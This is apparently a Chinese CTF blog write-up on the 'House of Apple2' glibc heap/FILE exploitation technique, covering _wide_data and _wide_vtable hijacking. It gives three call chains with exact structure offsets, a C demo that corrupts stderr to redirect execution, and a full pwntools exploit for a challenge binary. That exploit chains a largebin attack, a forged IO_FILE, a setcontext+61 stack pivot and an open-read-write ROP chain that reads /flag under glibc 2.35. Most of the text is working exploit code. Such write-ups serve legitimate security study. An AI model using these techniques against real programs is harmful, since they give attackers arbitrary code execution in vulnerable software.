House of apple2 上一篇博客中我们使用的house of apple1,需要和house of emma一起使用从而控制程序流,这一篇我们利用几条新的IO
利用链,只通过劫持_wide_data
来控制程序的执行流
利用条件
已知heap
地址和glibc
地址
能控制程序执行IO
操作,包括但不限于:从main
函数返回、调用exit
函数、通过__malloc_assert
触发
能控制_IO_FILE
的vtable
和_wide_data
,一般使用largebin attack
去控制
利用原理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 struct _IO_wide_data { wchar_t *_IO_read_ptr; wchar_t *_IO_read_end; wchar_t *_IO_read_base; wchar_t *_IO_write_base; wchar_t *_IO_write_ptr; wchar_t *_IO_write_end; wchar_t *_IO_buf_base; wchar_t *_IO_buf_end; wchar_t *_IO_save_base; wchar_t *_IO_backup_base; wchar_t *_IO_save_end; __mbstate_t _IO_state; __mbstate_t _IO_last_state; struct _IO_codecvt _codecvt ; wchar_t _shortbuf[1 ]; const struct _IO_jump_t *_wide_vtable ; };
在调用_wide_vtable
虚表里面的函数时,与_IO_file_jumps
同样是使用宏去调用,仍然以vtable->_overflow
调用为例,所用到的宏依次为:
1 2 3 4 5 6 7 8 #define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH) #define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1) #define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS) #define _IO_WIDE_JUMPS(THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
可以看到,在调用_wide_vtable
里面的成员函数指针时,没有关于vtable的合法性检查。
因此,我们可以劫持IO_FILE
的vtable
为_IO_wfile_jumps
,控制_wide_data
为可控的堆地址空间,进而控制_wide_data->_wide_vtable
为可控的堆地址空间。控制程序执行IO
流函数调用,最终调用到_IO_Wxxxxx
函数即可控制程序的执行流。
以下面提到的_IO_wdefault_xsgetn
函数利用为例,roderick01 编写了一个demo
示例如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <unistd.h> #include <string.h> void backdoor () { printf ("\033[31m[!] Backdoor is called!\n" ); _exit(0 ); } void main () { setbuf(stdout , 0 ); setbuf(stdin , 0 ); setbuf(stderr , 0 ); char *p1 = calloc (0x200 , 1 ); char *p2 = calloc (0x200 , 1 ); puts ("[*] allocate two 0x200 chunks" ); size_t puts_addr = (size_t )&puts ; printf ("[*] puts address: %p\n" , (void *)puts_addr); size_t libc_base_addr = puts_addr - 0x84420 ; printf ("[*] libc base address: %p\n" , (void *)libc_base_addr); size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0 ; printf ("[*] _IO_2_1_stderr_ address: %p\n" , (void *)_IO_2_1_stderr_addr); size_t _IO_wstrn_jumps_addr = libc_base_addr + 0x1e8c60 ; printf ("[*] _IO_wstrn_jumps address: %p\n" , (void *)_IO_wstrn_jumps_addr); char *stderr2 = (char *)_IO_2_1_stderr_addr; puts ("[+] step 1: change stderr->_flags to 0x800" ); *(size_t *)stderr2 = 0x800 ; puts ("[+] step 2: change stderr->_mode to 1" ); *(size_t *)(stderr2 + 0xc0 ) = 1 ; puts ("[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20" ); *(size_t *)(stderr2 + 0xd8 ) = _IO_wstrn_jumps_addr-0x20 ; puts ("[+] step 4: replace stderr->_wide_data with the allocated chunk p1" ); *(size_t *)(stderr2 + 0xa0 ) = (size_t )p1; puts ("[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2" ); *(size_t *)(p1 + 0xe0 ) = (size_t )p2; puts ("[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base" ); *(size_t *)(p1 + 0x20 ) = (size_t )1 ; puts ("[+] step 7: put backdoor at fake _wide_vtable->_overflow" ); *(size_t *)(p2 + 0x18 ) = (size_t )(&backdoor); puts ("[+] step 8: call fflush(stderr) to trigger backdoor func" ); fflush(stderr ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ./house_of_apple/demo2/demo [*] allocate two 0x200 chunks [*] puts address: 0x7ffff7c80e50 [*] libc base address: 0x7ffff7c00000 [*] _IO_2_1_stderr_ address: 0x7ffff7e1b6a0 [*] _IO_wstrn_jumps address: 0x7ffff7e16dc0 [+] step 1: change stderr->_flags to 0x800 [+] step 2: change stderr->_mode to 1 [+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20 [+] step 4: replace stderr->_wide_data with the allocated chunk p1 [+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2 [+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr = stderr->_wide_data->_wide_vtable->_IO_write_base [+] step 7: put backdoor at fake _wide_vtable->_overflow [+] step 8: call fflush(stderr) to trigger backdoor func [!] Backdoor is called!
成功调用了后门函数
利用思路 目前在glibc
源码中搜索到的_IO_WXXXXX
系列函数的调用只有_IO_WSETBUF
、_IO_WUNDERFLOW
、_IO_WDOALLOCATE
和_IO_WOVERFLOW
。 其中_IO_WSETBUF
和_IO_WUNDERFLOW
目前无法利用或利用困难,其余的均可构造合适的_IO_FILE
进行利用。这里给出我总结的几条比较好利用的链。以下使用fp
指代_IO_FILE
结构体变量。
利用_IO_wfile_overflow函数控制程序执行流 对fp
的设置如下:
_flags
设置为~(2 | 0x8 | 0x800)
,如果不需要控制rdi
,设置为0
即可;如果需要获得shell
,可设置为 sh;
,注意前面有两个空格
vtable
设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap
地址(加减偏移),使其能成功调用_IO_wfile_overflow
即可
_wide_data
设置为可控堆地址A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_write_base
设置为0
,即满足*(A + 0x18) = 0
_wide_data->_IO_buf_base
设置为0
,即满足*(A + 0x30) = 0
_wide_data->_wide_vtable
设置为可控堆地址B
,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate
设置为地址C
用于劫持RIP
,即满足*(B + 0x68) = C
函数的调用链如下:
1 2 3 4 _IO_wfile_overflow _IO_wdoallocbuf _IO_WDOALLOCATE *(fp->_wide_data->_wide_vtable + 0x68)(fp)
详细分析省略,总之需要满足
f->_flags & _IO_NO_WRITES == 0并且f->_flags & _IO_CURRENTLY_PUTTING == 0和f->_wide_data->_IO_write_base == 0
fp->_wide_data->_IO_buf_base != 0和fp->_flags & _IO_UNBUFFERED == 0
也就是_flags
设置为~(2 | 0x8 | 0x800)
或者" sh;"
利用_IO_wfile_underflow_mmap函数控制程序执行流 对fp
的设置如下:
_flags
设置为~4
,如果不需要控制rdi
,设置为0
即可;如果需要获得shell
,可设置为 sh;
,注意前面有个空格
vtable
设置为_IO_wfile_jumps_mmap
地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap
即可
_IO_read_ptr < _IO_read_end
,即满足*(fp + 8) < *(fp + 0x10)
_wide_data
设置为可控堆地址A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_read_ptr >= _wide_data->_IO_read_end
,即满足*A >= *(A + 8)
_wide_data->_IO_buf_base
设置为0
,即满足*(A + 0x30) = 0
_wide_data->_IO_save_base
设置为0
或者合法的可被free
的地址,即满足*(A + 0x40) = 0
_wide_data->_wide_vtable
设置为可控堆地址B
,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate
设置为地址C
用于劫持RIP
,即满足*(B + 0x68) = C
函数的调用链如下
1 2 3 4 _IO_wfile_underflow_mmap _IO_wdoallocbuf _IO_WDOALLOCATE *(fp->_wide_data->_wide_vtable + 0x68)(fp)
详细分析省略:
需要设置fp->_flags & _IO_NO_READS == 0
,设置fp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_end
,设置fp->_IO_read_ptr < fp->_IO_read_end
不进入调用,设置fp->_wide_data->_IO_buf_base == NULL
和fp->_wide_data->_IO_save_base == NULL
。
利用_IO_wdefault_xsgetn函数控制程序执行流 这条链执行的条件是调用到_IO_wdefault_xsgetn时rdx寄存器,也就是第三个参数不为0 。如果不满足这个条件,可选用其他链。
对fp
的设置如下:
_flags
设置为0x800
vtable
设置为_IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps
地址(加减偏移),使其能成功调用_IO_wdefault_xsgetn
即可
_mode
设置为大于0
,即满足*(fp + 0xc0) > 0
_wide_data
设置为可控堆地址A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_read_end == _wide_data->_IO_read_ptr
设置为0
,即满足*(A + 8) = *A
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base
,即满足*(A + 0x20) > *(A + 0x18)
_wide_data->_wide_vtable
设置为可控堆地址B
,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->overflow
设置为地址C
用于劫持RIP
,即满足*(B + 0x18) = C
1 2 3 4 5 _IO_wdefault_xsgetn __wunderflow _IO_switch_to_wget_mode _IO_WOVERFLOW *(fp->_wide_data->_wide_vtable + 0x18)(fp)
源码分析略
例题分析 这里我是复现了一遍作者的puts(“ hack!”)的,但是电脑关机没有保存下来,这里就直接放orw的exp了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 from pwn import *from pwncli import *io = process("./oneday" ) context(os="linux" , arch="amd64" , log_level="debug" ) elf = ELF('./oneday' ) libc = ELF('/home/yukon/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6' ) lg_infos = [] lga = lambda data: lg_infos.append(data) s = lambda data: io.send(data) sl = lambda data: io.sendline(data) sa = lambda text, data: io.sendafter(text, data) sla = lambda text, data: io.sendlineafter(text, data) r = lambda n: io.recv(n) ru = lambda text: io.recvuntil(text) rl = lambda : io.recvline() uu32 = lambda : u32(io.recvuntil(b"\xf7" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(io.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) iuu32 = lambda : int (io.recv(10 ), 16 ) iuu64 = lambda : int (io.recv(6 ), 16 ) uheap = lambda : u64(io.recv(6 ).ljust(8 , b'\x00' )) lg = lambda data: io.success('%s -> 0x%x' % (data, eval (str (data)))) def log_all (): for lg_info in lg_infos: lg(lg_info) def ia (): log_all() io.interactive() def add (choice ): io.recvuntil(b'enter your command: \n' ) io.sendline(b'1' ) io.recvuntil(b'choise: ' ) io.sendline(str (choice).encode()) def delete (idx ): io.recvuntil(b'enter your command: \n' ) io.sendline(b'2' ) io.recvuntil(b'Index: \n' ) io.sendline(str (idx).encode()) def edit (idx, message ): io.recvuntil(b'enter your command: \n' ) io.sendline(b'3' ) io.recvuntil(b'Index: ' ) io.sendline(str (idx).encode()) io.recvuntil(b'Message: \n' ) io.send(message) def show (idx ): io.recvuntil(b'enter your command: \n' ) io.sendline(b'4' ) io.recvuntil(b'Index: ' ) io.sendline(str (idx).encode()) def exit (): io.recvuntil(b'enter your command: \n' ) io.sendline(b'9' ) sla(b'enter your key >>\n' , str (10 ).encode()) add(2 ) add(2 ) add(1 ) delete(2 ) delete(1 ) delete(0 ) add(1 ) add(1 ) add(1 ) add(1 ) delete(3 ) delete(5 ) show(3 ) libc_base = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) - 0x1f2cc0 - 0x28020 lga("libc_base" ) io.recv(2 ) heap_base = u64(io.recv(6 ).ljust(8 , b'\x00' )) - 0x17f0 lga("heap_base" ) delete(4 ) delete(6 ) add(3 ) add(1 ) add(1 ) delete(8 ) add(3 ) target_addr = libc_base + libc.sym['_IO_list_all' ] _IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps' ] _IO_wstrn_jumps = libc_base + 0x216dc0 _IO_cookie_jumps = libc_base + 0x216b80 _lock = libc_base + 0x21ca60 set_context_61 = libc_base + libc.sym["setcontext" ] + 61 lga("_IO_wfile_jumps" ) lga("_IO_wstrn_jumps" ) lga("_IO_cookie_jumps" ) lga("_lock" ) pop_rdi = libc_base +0x000000000002a3e5 pop_rdx_r12_ret = libc_base + 0x000000000011f2e7 pop_rax = libc_base + 0x0000000000045eb0 pop_rsi = libc_base + 0x000000000002be51 ret = libc_base + 0x0000000000029139 leave_ret = libc_base + 0x000000000004da83 open_addr = libc_base + libc.sym['open' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ] fake_IO_FILE = heap_base + 0x1810 orw_addr = fake_IO_FILE + 0x300 + 0x10 lga("fake_IO_FILE" ) lga("orw_addr" ) lga("set_context_61" ) orw = [ret, pop_rdi, fake_IO_FILE + 0x300 , pop_rsi, 0 , open_addr, pop_rdi, 3 , pop_rsi, fake_IO_FILE + 0x400 , pop_rdx_r12_ret, 0x20 , 0 , read_addr, pop_rdi, 1 , pop_rsi, fake_IO_FILE + 0x400 , write_addr] f1 = IO_FILE_plus_struct() f1.flags = b' hack!' f1._IO_read_ptr = 0xa81 f1._IO_buf_base = p64(fake_IO_FILE + 0x310 ) f1._lock = _lock f1._wide_data = fake_IO_FILE + 0xe0 f1.vtable = _IO_wfile_jumps data = flat({ 0x8 : target_addr - 0x20 , 0x10 : { 0 : { 0 : bytes (f1), 0xe0 : { 0x18 : 0 , 0x30 : 0 , 0xa0 : orw_addr, 0xa8 : ret, 0xe0 : fake_IO_FILE + 0x200 , }, 0x200 : { 0x68 : set_context_61 }, 0x300 : { 0 : b'/flag\x00\x00\x00' , 0x10 : orw } }, 0xa80 : [0 , 0xab1 ] } }) edit(5 , data) delete(2 ) add(3 ) exit() ia()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 sla(b'enter your key >>\n' , str (10 ).encode()) add(2 ) add(2 ) add(1 ) delete(2 ) delete(1 ) delete(0 ) add(1 ) add(1 ) add(1 ) add(1 ) delete(3 ) delete(5 ) show(3 ) libc_base = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) - 0x1f2cc0 - 0x28020 lga("libc_base" ) io.recv(2 ) heap_base = u64(io.recv(6 ).ljust(8 , b'\x00' )) - 0x17f0 lga("heap_base" ) delete(4 ) delete(6 ) add(3 ) add(1 ) add(1 ) delete(8 ) add(3 )
这一部分还是跟apple1相同,构造一个largebin出来
然后结尾的时候通过delete比这个largebin还大的堆,在io_list_all处写入chunk2的地址从而伪造io_file
1 2 3 4 edit(5 , data) delete(2 ) add(3 ) exit()
我们主要看中间这部分是怎么构造的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 orw = [ret, pop_rdi, fake_IO_FILE + 0x300 , pop_rsi, 0 , open_addr, pop_rdi, 3 , pop_rsi, fake_IO_FILE + 0x400 , pop_rdx_r12_ret, 0x20 , 0 , read_addr, pop_rdi, 1 , pop_rsi, fake_IO_FILE + 0x400 , write_addr] f1 = IO_FILE_plus_struct() f1.flags = b' hack!' f1._IO_read_ptr = 0xa81 f1._IO_buf_base = p64(fake_IO_FILE + 0x310 ) f1._lock = _lock f1._wide_data = fake_IO_FILE + 0xe0 f1.vtable = _IO_wfile_jumps data = flat({ 0x8 : target_addr - 0x20 , 0x10 : { 0 : { 0 : bytes (f1), 0xe0 : { 0x18 : 0 , 0x30 : 0 , 0xa0 : orw_addr, 0xa8 : ret, 0xe0 : fake_IO_FILE + 0x200 , }, 0x200 : { 0x68 : set_context_61 }, 0x300 : { 0 : b'/flag\x00\x00\x00' , 0x10 : orw } }, 0xa80 : [0 , 0xab1 ] } })
在使用作者给出的附件中的ld和libc的过程中,我发现rdx指向的是f1的开头部分,也就是f1.flags,只要设置成b’ hack!’,再将fp->_wide_data->_wide_vtable + 0x68
设置为puts,就能直接打印出hack!
但是,这会造成一个问题,如果我们能打system(‘ sh;’),那无疑是非常简单,但是如果我们需要绕过沙箱,执行orw,这里就不是很好控制rdx跟rdi,因为rdx+0xa0的位置刚好是fake_io_file的_wide_data
,是我们需要控制的地方,这里不能改
而使用一些magic_gadget也会出现问题,因为我动调发现此时rdi因为执行过一个mov edi, qword ptr[rdx]这样的操作,高位变成了0,并且低位存放的是b’ hack!’的低位,这样常用的如mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
gadget就完全利用不了
我看到KingKi1L3r在这篇文章 中提到可以使用svcudp_reply+26
这个gadget,确实,在本题中是可以使用的,但是2.35以后这条gadget已经被删除,我不禁产生疑惑,难道apple2不能打2.35的orw?
最后在我跟wxy师傅讨论的过程中,我们发现我们的rdx指向的位置不同,于是我将附件patch成我本机的2.35-0ubuntu3.8,然后我发现rdx指向了fake_wide_data,那rdx+0xa0和rdx+0xa8就完全可以控制了,测试了一下果然可以打通